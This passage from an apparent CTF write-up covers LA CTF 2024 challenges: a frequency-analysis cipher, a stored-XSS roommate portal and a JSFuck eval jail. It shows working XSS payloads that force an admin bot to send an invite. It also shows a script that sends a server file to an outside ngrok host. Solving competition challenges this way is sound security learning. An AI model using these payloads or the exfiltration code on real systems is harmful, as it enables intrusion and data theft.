<p>That <code class="language-plaintext highlighter-rouge">anal.s.s_fre.uens.</code> looks a lot like “frequency analysis.” My teammates tried to plug in Q and Y, which I think is a bit English-minded because Q and Y are extremely unusual letters to use for the sounds /k/ and /i/. Particularly for a language that adopted the Latin alphabet relatively recently, using K and I for those phonemes is much more common.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ini adala. .esan .an. a.an den.an se..urna
Tidak ada .an. ta.u a.a .an. sa.a katakan :D
Bendera ka.u ada di sini: lactf{sela.at_.a.i_a.aka._ka.u_suka_analisis_frekuensi}
</code></pre></div></div>

<p>I wasn’t around when they finished the rest of the letters, but it was pretty quick. For example, Google autocomplete for <em>ini adala</em> gives <em>ini adalah kerana</em>, so the letter after <em>adala</em> must be H. Also, <code class="language-plaintext highlighter-rouge">sela.at</code> looks like it could be <em>selamat</em> from the challenge name. And the word after, <code class="language-plaintext highlighter-rouge">.a.i</code>, could be <em>pagi</em>. And while these letters are already enough for the flag, there’s still a missing letter remaining in <code class="language-plaintext highlighter-rouge">.ang</code>. Going down this <a href="https://www.sttmedia.com/characterfrequency-indonesian">Indonesian letter frequency list</a>, it seems the most frequent letter we haven’t used yet is Y. This produces:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ini adalah pesan yang aman dengan sempurna
Tidak ada yang tahu apa yang saya katakan :D
Bendera kamu ada di sini: lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}
</code></pre></div></div>

<p>🎉 And through Google Translate:</p>

<blockquote>
  <p>This is a perfectly secure message</p>

  <p>No one knows what I said :D</p>

  <p>Your flag is here: <code class="language-plaintext highlighter-rouge">lactf{good_morning_do_you_like_frequency_analysis}</code></p>
</blockquote>

<h2 id="webnew-housing-portal">web/new-housing-portal</h2>

<blockquote>
  <p><strong>web/new-housing-portal</strong>
by r2uwu2.
214 solves / 368 points</p>

  <p>After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?</p>

  <p>Hint - You can send a link that the admin bot will visit as samy.</p>

  <p>Hint - Come watch the real Samy’s talk if you are stuck!</p>

  <p>Site - <a href="https://new-housing-portal.chall.lac.tf/">new-housing-portal.chall.lac.tf</a></p>

  <p>Admin Bot - <a href="https://admin-bot.lac.tf/new-housing-portal">https://admin-bot.lac.tf/new-housing-portal</a></p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/tree/main/2024/web/new-housing-portal">new-housing-portal.zip</a></p>
</blockquote>

<p>Someone in the room mentioned JavaScript, which got my attention. They were apparently just too lazy to write the XSS payload for this challenge, so I decided to try it.</p>

<p><img src="../images/lactf/nhp-login.png" alt="The landing page for new-housing-portal is a login page." /></p>

<p><img src="../images/lactf/nhp-home.png" alt="The home page after logging in" /></p>

<p>The website is a roommate finder<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. On the “Find Roomates” page, you search for users by their username, then send an invite to them. The “View Invitations” page lists the invites that were sent to you.</p>

<p>The vulnerability for this challenge is somewhat obvious by looking at the source code, which is both conveniently provided in both the ZIP file and the page source.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/finder/index.js</span>
<span class="kd">const</span> <span class="nx">params</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">query</span> <span class="o">=</span> <span class="nx">params</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">q</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">query</span><span class="p">)</span> <span class="p">{</span>
  <span class="p">(</span><span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/user?q=</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">query</span><span class="p">))</span>
      <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
    <span class="k">if</span> <span class="p">(</span><span class="dl">'</span><span class="s1">err</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">.err</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">user</span><span class="p">.</span><span class="nx">err</span><span class="p">;</span>
      <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">.err</span><span class="dl">'</span><span class="p">).</span><span class="nx">classList</span><span class="p">.</span><span class="nx">remove</span><span class="p">(</span><span class="dl">'</span><span class="s1">hidden</span><span class="dl">'</span><span class="p">);</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">.user input[name=username]</span><span class="dl">'</span><span class="p">).</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">user</span><span class="p">.</span><span class="nx">username</span><span class="p">;</span>
    <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">span.name</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">user</span><span class="p">.</span><span class="nx">name</span><span class="p">;</span>
    <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">span.username</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">user</span><span class="p">.</span><span class="nx">username</span><span class="p">;</span>
    <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">.user</span><span class="dl">'</span><span class="p">).</span><span class="nx">classList</span><span class="p">.</span><span class="nx">remove</span><span class="p">(</span><span class="dl">'</span><span class="s1">hidden</span><span class="dl">'</span><span class="p">);</span>
  <span class="p">})();</span>
<span class="p">}</span>
</code></pre></div></div>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/request/index.js</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">invitations</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/invitation</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">.invitations</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">invitations</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">inv</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="s2">`
  &lt;div class="invitation"&gt;
    &lt;div class="col"&gt;
      &lt;div class="from"&gt;From: </span><span class="p">${</span><span class="nx">inv</span><span class="p">.</span><span class="k">from</span><span class="p">}</span><span class="s2">&lt;/div&gt;
      &lt;div class="secret"&gt;Deepest Darkest Secret: </span><span class="p">${</span><span class="nx">inv</span><span class="p">.</span><span class="nx">deepestDarkestSecret</span><span class="p">}</span><span class="s2">&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="col"&gt;
      &lt;button&gt;Accept&lt;/button&gt;
    &lt;/div&gt;
  &lt;/div&gt;
`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p>Both of these pages use <code class="language-plaintext highlighter-rouge">innerHTML</code> without any sanitization, so a standard XSS payload like <code class="language-plaintext highlighter-rouge">&lt;img src=x onerror="alert(1)"&gt;</code> should work. This tries to load a nonexistent image at <code class="language-plaintext highlighter-rouge">./x</code> and fails, running the JavaScript in the <code class="language-plaintext highlighter-rouge">onerror</code> handler.</p>

<p>It seems any of the values on the registration page—the username, name, and the “Deepest Darkest Secret”—are all opportunities for XSS.</p>

<p>So where’s the flag? The provided ZIP also has the server code:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/server.js</span>
<span class="nx">users</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">samy</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">username</span><span class="p">:</span> <span class="dl">'</span><span class="s1">samy</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Samy Kamkar</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">deepestDarkestSecret</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">FLAG</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">lactf{test_flag}</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">password</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">ADMINPW</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">owo</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">invitations</span><span class="p">:</span> <span class="p">[],</span>
  <span class="na">registration</span><span class="p">:</span> <span class="kc">Infinity</span>
<span class="p">});</span>
</code></pre></div></div>

<p>So I need to get Samy’s deepest, darkest secret for the flag. It displays the deepest darkest secrets on the invitations page, so I need to get Samy to invite me. Using Admin Bot, I can get Samy on a page that has my XSS on it to make him invite me.</p>

<p>There are a few opportunities for this:</p>

<ul>
  <li>I could sign up with an XSS payload in my name or username, then send him a link to <code class="language-plaintext highlighter-rouge">https://new-housing-portal.chall.lac.tf/finder/?q=&lt;username&gt;</code>, where it will show the name/username with the XSS payload.</li>
  <li>I could invite Samy and send him a link to <code class="language-plaintext highlighter-rouge">https://new-housing-portal.chall.lac.tf/request/</code>. My invitation, with the XSS payload in the name<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>, would show up on his page.</li>
</ul>

<p>I opted for the second strategy.</p>

<p>My XSS payload should mimic the same HTTP request that the website makes when I send an invite. With inspect element’s network log open, I invited a user <code class="language-plaintext highlighter-rouge">b</code>, then copied the POST request entry as fetch. Here are the request details, with irrelevant headers removed:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/finder</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">new-housing-portal.chall.lac.tf</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>

username=b
</code></pre></div></div>

<p>The following HTML makes the same POST request using <a href="https://developer.mozilla.org/en-US/docs/Web/API/fetch">JavaScript <code class="language-plaintext highlighter-rouge">fetch</code></a>, except it invites the username of one of my accounts, <code class="language-plaintext highlighter-rouge">a</code>, instead.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">img</span> <span class="nx">src</span><span class="o">=</span><span class="nx">x</span> <span class="nx">onerror</span><span class="o">=</span><span class="dl">"</span><span class="s2">fetch('/finder', { method: 'POST', body: (f = new FormData(), f.append('username', 'a'), f) })</span><span class="dl">"</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>I created a new account in incognito mode with its name set to that HTML, and then I invited <code class="language-plaintext highlighter-rouge">a</code> from the new account. Then, in <code class="language-plaintext highlighter-rouge">a</code>’s invitations, I saw a broken image:</p>

<p><img src="../images/lactf/nhp-invite.png" alt="Invitations to room with you: From: [broken image] Deepest Darkest Secret: todo" /></p>

<p>I checked the network log to see what it sent.</p>

<p><img src="../images/lactf/nhp-fail-post.png" alt="The network log has entries for `finder` and `finder?err=username%20does%20not%20exist`" /></p>

<p>So why didn’t it work?</p>

<p>After playing around with my code, I realized why when I looked at what my code was sending:</p>

<p><img src="../images/lactf/nhp-request.png" alt="------WebKitFormBoundaryAYicWtFJFI9v1WHB Content-Disposition: form-data; name=&quot;username&quot; a ------WebKitFormBoundaryAYicWtFJFI9v1WHB--" /></p>

<p>It seems by using JavaScript’s <code class="language-plaintext highlighter-rouge">FormData</code> object, it always wraps its data in some <code class="language-plaintext highlighter-rouge">WebKitFormBoundary</code>, which the server doesn’t seem to accept. So I got rid of it and set the <code class="language-plaintext highlighter-rouge">Content-Type</code> header manually instead:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/finder</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span> <span class="p">},</span>
  <span class="na">body</span><span class="p">:</span> <span class="dl">'</span><span class="s1">username=a</span><span class="dl">'</span>
<span class="p">})</span>
</code></pre></div></div>

<p>Running this in the console seemed successful based on the network log.</p>

<p><img src="../images/lactf/nhp-invite-sent.png" alt="The network log has entires for `finder` and `finder?msg=invitation%20sent!`" /></p>

<p>So, I created a new account with the fixed HTML:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">img</span> <span class="nx">src</span><span class="o">=</span><span class="nx">x</span> <span class="nx">onerror</span><span class="o">=</span><span class="dl">"</span><span class="s2">fetch('/finder', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'username=a' })</span><span class="dl">"</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>I invited <code class="language-plaintext highlighter-rouge">samy</code>, then made Admin Bot visit <code class="language-plaintext highlighter-rouge">https://new-housing-portal.chall.lac.tf/request/</code>. I checked my invitations:</p>

<p><img src="../images/lactf/nhp-flag.png" alt="From: samy. Deepest Darkest Secret: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}" /></p>

<p>🎉</p>

<h2 id="miscjsfudge">misc/jsfudge</h2>

<p>Warning: There’s a lot of hairy JavaScript in this challenge.</p>

<blockquote>
  <p><strong>misc/jsfudge</strong>
by r2dev2.
31 solves / 486 points</p>

  <p>JsFudge this JsFudge that, why don’t you JsFudge the flag.</p>

  <p><code class="language-plaintext highlighter-rouge">nc chall.lac.tf 31130</code></p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/misc/jsfudge/Dockerfile">Dockerfile</a> <a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/misc/jsfudge/index.js">index.js</a></p>
</blockquote>

<p>Most of the telltale clues are in the <code class="language-plaintext highlighter-rouge">runCode</code> definition in index.js, which ultimately just runs <code class="language-plaintext highlighter-rouge">eval</code> on whatever code you submit (so you can do anything you want on their server). However, there are two catches:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">allowed</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">(</span><span class="dl">'</span><span class="s1">()+[]!</span><span class="dl">'</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">char</span> <span class="k">of</span> <span class="nx">code</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">allowed</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">char</span><span class="p">))</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Oops, make sure to only use characters "()+[]!"</span><span class="dl">'</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This means <code class="language-plaintext highlighter-rouge">code</code> must only use <code class="language-plaintext highlighter-rouge">()+[]!</code>. This is infamously <a href="https://jsfuck.com/">JSFuck</a>’s character set, where any JavaScript can be rewritten using just those characters and still be valid JavaScript. The <a href="https://jsfuck.com/">JSFuck website</a> has a converter for arbitrary JS into equivalent JavaScript that only uses the characters in <code class="language-plaintext highlighter-rouge">()+[]!</code>.</p>

<p>However, you can’t just use the converter for this challenge:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// hehe ^w^</span>
<span class="kd">const</span> <span class="nx">oldProto</span> <span class="o">=</span> <span class="p">[].</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">toString</span><span class="p">;</span>
<span class="p">[].</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">toString</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">^w^</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>Normally, JavaScript arrays, when cast to a string, will cast each of its elements to a string and then join them together with a comma <code class="language-plaintext highlighter-rouge">,</code>. For example, <code class="language-plaintext highlighter-rouge">'' + [1, 2, 3]</code> produces the string <code class="language-plaintext highlighter-rouge">1,2,3</code>. JSFuck uses this to convert values into strings. However, the effect of this change is that casting arrays to strings always returns the string <code class="language-plaintext highlighter-rouge">^w^</code> instead of the contents of the array.</p>

<p>What does this change? Well, JSFuck relies on JavaScript’s current array-to-string behavior for two important values:</p>

<ul>
  <li>
    <p>Producing zero. Currently, casting an empty array <code class="language-plaintext highlighter-rouge">[]</code> to a string produces the empty string. An empty string cast to a number is 0. Since using <code class="language-plaintext highlighter-rouge">+</code> as a unary operator only makes sense for numbers, JavaScript will cast values to a number if you use <code class="language-plaintext highlighter-rouge">+</code> on it. So, <code class="language-plaintext highlighter-rouge">+[]</code> produces 0 in JavaScript.</p>

    <p>But now that <code class="language-plaintext highlighter-rouge">[]</code> becomes <code class="language-plaintext highlighter-rouge">^w^</code>, <code class="language-plaintext highlighter-rouge">+[]</code> becomes <code class="language-plaintext highlighter-rouge">+'^w^'</code>. <code class="language-plaintext highlighter-rouge">^w^</code> is not a number<sup>[citation needed]</sup>, so this becomes <code class="language-plaintext highlighter-rouge">NaN</code> instead of 0.</p>

    <p>Fortunately, it’s easy enough to work around this:</p>

    <ol>
      <li>Cast <code class="language-plaintext highlighter-rouge">NaN</code> into a boolean using <code class="language-plaintext highlighter-rouge">!</code> (the logical NOT operator). <code class="language-plaintext highlighter-rouge">NaN</code> is falsy, so it becomes <code class="language-plaintext highlighter-rouge">false</code>.</li>
      <li>Cast <code class="language-plaintext highlighter-rouge">false</code> to a number, producing 0.</li>
    </ol>

    <p>Here’s how the new expression gets evaluated: <code class="language-plaintext highlighter-rouge">+!!+[]</code> → <code class="language-plaintext highlighter-rouge">+!!+'^w^'</code> → <code class="language-plaintext highlighter-rouge">+!!NaN</code> → <code class="language-plaintext highlighter-rouge">+!true</code> → <code class="language-plaintext highlighter-rouge">+false</code> → <code class="language-plaintext highlighter-rouge">0</code></p>

    <p>Fortunately, non-zero numbers still work normally. JSFuck takes advantage of 0 being falsy, and inverting it makes it <code class="language-plaintext highlighter-rouge">true</code>. Casting <code class="language-plaintext highlighter-rouge">true</code> to a number produces 1, which you can add to itself to produce the natural numbers: <code class="language-plaintext highlighter-rouge">+!+[]</code> is 1, <code class="language-plaintext highlighter-rouge">+!+[]+!+[]</code> is 2, and so on. Since <code class="language-plaintext highlighter-rouge">NaN</code> is also falsy, <code class="language-plaintext highlighter-rouge">!+[]</code> still becomes <code class="language-plaintext highlighter-rouge">true</code>.</p>
  </li>
  <li>
    <p>Casting to a string. Since an empty array becomes an empty string, you can add it to any value to turn it into a string. <code class="language-plaintext highlighter-rouge">![]+[]</code> becomes the string <code class="language-plaintext highlighter-rouge">'false'</code>, and so on.</p>

    <p>With the <code class="language-plaintext highlighter-rouge">^w^</code> change, <code class="language-plaintext highlighter-rouge">![]+[]</code> becomes <code class="language-plaintext highlighter-rouge">false^w^</code>. This doesn’t break too many things because much of JSFuck involves getting letters of keywords, like doing <code class="language-plaintext highlighter-rouge">(![]+[])[3]</code> for the letter <code class="language-plaintext highlighter-rouge">s</code>; adding <code class="language-plaintext highlighter-rouge">^w^</code> to the end of the string won’t affect this.</p>

    <p>However, this change does affect numbers. JSFuck’s converter in particular prefers values like <code class="language-plaintext highlighter-rouge">10</code> over <code class="language-plaintext highlighter-rouge">9</code>, which is a smaller value but requires more code because the sum of its digits is larger. This is because producing 10 only involves concatenating 1 and 0, then casting it to a number (<code class="language-plaintext highlighter-rouge">+(+!+[] + [+[]])</code> → <code class="language-plaintext highlighter-rouge">+(1 + [0])</code> → <code class="language-plaintext highlighter-rouge">+(1 + '0')</code> → <code class="language-plaintext highlighter-rouge">+'10'</code> → <code class="language-plaintext highlighter-rouge">10</code>), while producing 9 requires adding 1 to itself nine times.</p>

    <p>Now, after the change, even by replacing <code class="language-plaintext highlighter-rouge">+[]</code> with <code class="language-plaintext highlighter-rouge">+!!+[]</code> as discussed above, <code class="language-plaintext highlighter-rouge">+(+!+[] + [+!!+[]])</code> evaluates to <code class="language-plaintext highlighter-rouge">+(1 + [0])</code> → <code class="language-plaintext highlighter-rouge">+(1 + '0^w^')</code> → <code class="language-plaintext highlighter-rouge">+'10^w^'</code> → <code class="language-plaintext highlighter-rouge">NaN</code>. Sad!</p>

    <p>Maybe there’s a smarter way around this, but I’m not optimizing for code length; I just need my code to work. So I just replaced these two-digit numbers with 1 added to itself ten or more times.</p>
  </li>
</ul>

<p>My first attempt was to try resetting <code class="language-plaintext highlighter-rouge">[].__proto__.toString</code> back to its original form, so I put it into JSFuck’s converter and tried to fix any issues caused by the change. These were the substitutions I did to the code generated by JSFuck:</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">[0]</code>: <code class="language-plaintext highlighter-rouge">[+[]]</code> → <code class="language-plaintext highlighter-rouge">[+!!+[]]</code></p>

    <p>0 was most often used to index into strings, which is why it’s in square brackets.</p>
  </li>
  <li>
    <p>10: <code class="language-plaintext highlighter-rouge">+!+[]+[+!!+[]]</code> → <code class="language-plaintext highlighter-rouge">!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">[11]</code>: <code class="language-plaintext highlighter-rouge">[+!+[]+[+!+[]]]</code> → <code class="language-plaintext highlighter-rouge">[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]</code></p>

    <p>This was used for getting the letter <code class="language-plaintext highlighter-rouge">m</code> for some other thing.</p>
  </li>
  <li>
    <p>12: <code class="language-plaintext highlighter-rouge">+!+[]+[!+[]+!+[]]</code> → <code class="language-plaintext highlighter-rouge">!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">i</code>: <code class="language-plaintext highlighter-rouge">([![]]+[][[]])[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]</code> → <code class="language-plaintext highlighter-rouge">([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]</code></p>

    <p>The original way used <code class="language-plaintext highlighter-rouge">'falseundefined'[10]</code> because it probably produced shorter code, but now it becomes <code class="language-plaintext highlighter-rouge">'^w^undefined'[10]</code>, which is <code class="language-plaintext highlighter-rouge">undefined</code> and usually results in a TypeError. I replaced it with <code class="language-plaintext highlighter-rouge">'undefined^w^'[5]</code>.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">/</code>: <code class="language-plaintext highlighter-rouge">(![]+[+!!+[]])[([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]</code> → <code class="language-plaintext highlighter-rouge">(![]+[+!!+[]])[([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]</code></p>

    <p>JSFuck gets <code class="language-plaintext highlighter-rouge">/</code> by calling <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/italics"><code class="language-plaintext highlighter-rouge">'false0'.italics()</code></a>, which wraps it into <code class="language-plaintext highlighter-rouge">&lt;i&gt;false0&lt;/i&gt;</code>. This string was probably selected for its shorter code length, but because it relies on concatenation it becomes <code class="language-plaintext highlighter-rouge">&lt;i&gt;false^w^&lt;/i&gt;</code>, which changes the index of <code class="language-plaintext highlighter-rouge">/</code> in the string.</p>

    <p>What’s <code class="language-plaintext highlighter-rouge">/</code> for? JSFuck uses it to create a function<sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">3</a></sup> with body <code class="language-plaintext highlighter-rouge">return/false/</code>, which returns an instance of <code class="language-plaintext highlighter-rouge">RegExp</code>. It can then do <code class="language-plaintext highlighter-rouge">/false/.constructor</code> to get the <code class="language-plaintext highlighter-rouge">RegExp</code> class constructor itself, then construct <code class="language-plaintext highlighter-rouge">RegExp('/')</code> which creates a regular expression that just has a <code class="language-plaintext highlighter-rouge">/</code>. However, in JavaScript’s regular expression literals, <code class="language-plaintext highlighter-rouge">/</code> must be escaped, so casting <code class="language-plaintext highlighter-rouge">RegExp('/')</code> to a string produces a string containing <code class="language-plaintext highlighter-rouge">/\//</code>.</p>

    <p>So <code class="language-plaintext highlighter-rouge">Function('return/false/').constructor('/') + ''</code> is how JSFuck gets a backslash character <code class="language-plaintext highlighter-rouge">\</code>.</p>
  </li>
</ul>

<p>All this was just to generate the underscore character <code class="language-plaintext highlighter-rouge">_</code> for <code class="language-plaintext highlighter-rouge">__proto__</code>. JSFuck creates a function that returns a string with an octal escape sequence, then calls it: <code class="language-plaintext highlighter-rouge">Function('return"\137"')()</code>. This escape sequence method is JSFuck’s last resort for characters it can’t get through other means.</p>

<p>After fixing everything, I realized that my plan of resetting <code class="language-plaintext highlighter-rouge">[].__proto__.toString</code> wouldn’t work because I also needed a reference to the original <code class="language-plaintext highlighter-rouge">Array.prototype.toString</code>. While I felt like it was possible, I couldn’t be bothered to try to investigate and fix more issues caused by an even longer string needed.</p>

<p>That was because I realized that I could adapt the octal escape sequence code to get any character I wanted. All I needed to do was write a script:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[].</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">toString</span><span class="o">=</span><span class="p">()</span><span class="o">=&gt;</span><span class="dl">'</span><span class="s1">^w^</span><span class="dl">'</span>
<span class="nx">backslash</span> <span class="o">=</span> <span class="s2">`([]
    [(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(! … !+[]+!+[]+!+[]+!+[]])+[])[+!+[]]`</span>
<span class="c1">// create octal codes</span>
<span class="nx">w</span><span class="o">=</span><span class="p">(</span><span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="s2">`require('https').get('https://57e8-104-177-117-127.ngrok-free.app/' + require('fs').readFileSync('.vimrc').toString())`</span><span class="p">,</span> <span class="nx">c</span> <span class="o">=&gt;</span> <span class="s2">`</span><span class="p">${</span><span class="nx">backslash</span><span class="p">}</span><span class="s2">+(</span><span class="p">${</span><span class="dl">'</span><span class="s1">!+[]+</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="o">+</span><span class="nx">c</span><span class="p">.</span><span class="nx">codePointAt</span><span class="p">().</span><span class="nx">toString</span><span class="p">(</span><span class="mi">8</span><span class="p">)).</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)}</span><span class="s2">)`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">+</span><span class="dl">'</span><span class="p">))</span>
<span class="c1">// return string of octal codes</span>
